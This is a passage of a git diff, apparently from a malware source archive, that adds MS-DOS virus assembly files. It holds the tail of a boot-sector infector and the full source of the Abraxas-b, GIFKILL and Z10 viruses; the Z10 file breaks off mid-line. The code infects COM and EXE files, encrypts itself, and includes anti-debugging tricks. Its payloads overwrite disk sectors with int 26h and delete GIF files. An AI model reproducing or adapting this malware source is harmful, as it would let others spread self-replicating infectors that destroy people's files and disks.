si,21h*04h ;sorry for all the complexity + mov di,offset previous_hook+7c00h + les bx,dword ptr cs:[previous_hook+7e00h-02h] + mov ds:[si-((21h-1ah)*04h)+02h],es + mov ds:[si-((21h-1ah)*04h)],bx + les bx,dword ptr ds:[si] + mov ds:[si-((21h-18h)*04h)+02h],es + push cs ;also save int 21 into int 18 + cld + mov ds:[si-((21h-18h)*04h)],bx + pop es + movsw + movsw + mov dx,offset interrupt_21+7c00h + push cs ;set int 21 + pop ds +set_int_21: mov ax,2521h + int 18h +jmp_pop_it: jmp short pop_it +interrupt_1a endp + + org 001b4h + +resident_21 proc near ;memory resident int 21 + pushf ;called when loaded from + pusha ;config.sys + push ds + push es + cmp ah,0eh ;is it set drive + jne pop_it + or dl,dl ;drive A: + jnz pop_it + cwd ;set varables to read sector + call next_line +next_line: pop bx + add bx,offset vbuffer-next_line + push cs + mov cx,0001h + pop es + push cs + mov ax,0201h ;try reading the boot sector + pop ds + int 13h + jc pop_it ;if not don't infect + cmp byte ptr ds:[bx+id-top+01h],7ch + je pop_it ;check if infected + mov ax,0301h ;move and write boot sector + pusha ;save for later + push cs ;for far retf + call set_cx_dx + cld + mov cx,previous_hook-com_install + lea si,word ptr ds:[bx-offset (vbuffer-com_install)] + lea di,word ptr ds:[bx+com_install-top] + rep movsb + mov word ptr ds:[bx],0000h + org $-02h + jmp $(jmp_install-top) ;place initial jmp at front + popa + int 13h ;write it +pop_it: pop es + pop ds + popa + popf +resident_21 endp + + org 001fdh + +far_jmp proc near + db 0eah ;jmp to old int 1a or boot +previous_hook: label double ;up int 21 or resident int 21 +far_jmp endp + +boot_signature dw 0aa55h ;guess what + + org $+02h +vbuffer label byte ;buffer to read boot sector + + org $+0202h ;the end of the code +tail label byte + +qseg ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.z10-c.asm b/MSDOS/Virus.MSDOS.Unknown.z10-c.asm new file mode 100644 index 00000000..d4c8ff59 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.z10-c.asm @@ -0,0 +1,365 @@ +; Abraxas.asm : [Abraxas-b] by Abraxas + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'DA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,07h ; add word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],5 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: +jmp activate ; Always activate +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + mov cx,255 ; Nuke a few sectors + mov dx,1 ; Beginning with sector 1!!! + int 26h ; VIPERize them!!!! Rah!!! + jc error ; Uh oh. Problem. + add sp,2 ; Worked great. Clear the stack... +error: + inc al ; Get another drive! + cmp al,200 ; Have we fried 200 drives? + je done_phrying ; Yep. + jmp short activate ; Nope. +done_phrying: + cli ; Disable Interrupts + jmp exit_virus + +creator db '[Z10]',0 ; Mass Produced Code Generator +virusname db '[Abraxas-b]',0 +author db 'Abraxas',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,12000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.z10-d.asm b/MSDOS/Virus.MSDOS.Unknown.z10-d.asm new file mode 100644 index 00000000..1fbb1b84 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.z10-d.asm @@ -0,0 +1,392 @@ +; GIFKILL.ASM -- Seek and Destroy GIF +; Written by Dark Avenger + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0003h ; Do 3 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea dx,[di + data00] ; DX points to data + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 0FAh,045h,02Eh,0B3h,024h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 0A6h,03Ch,0B6h,078h,0CCh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 002h,0EFh,034h,048h,091h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 089h,043h,03Bh,054h,0AAh + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 db "*.GIF",0 + +vcl_marker db "[Z10]",0 ; VCL creation marker + + +note db "Bye Bye Mr.GIF",0 + db "You'll never find all the file" + db "s I have infected!",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.z10.asm b/MSDOS/Virus.MSDOS.Unknown.z10.asm new file mode 100644 index 00000000..d8bfa9cb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.z10.asm @@ -0,0 +1,375 @@ +; Z10.asm : [Z10] by Paul Ferguson +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'ZA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov si,offset startencrypt ; start of decryption + mov di,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,04h ; add word ptr cs:[si], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc si ; calculate new decryption location + inc si + dec di ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,10 ; Check month + jb exit_virus + cmp dl,30 ; Check date + jb exit_virus + cmp cx,1991 ; Check year + jb exit_virus + cmp al,0 ; Check date of week + jb exit_virus + + mov ah,2ch ; Get current time + int 21h + cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + mov al,0002h ; First argument is 2 + mov cx,0080h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; Remove the semi-colon + sti ; Restore interrupts + mov ax,04C00h ; DOS terminate function + int 021h + jmp exit_virus + +creator db '[PF]',0 ; Mass Produced Code Generator +virusname db '[Z10]',0 +author db 'Paul Ferguson',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,13000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer 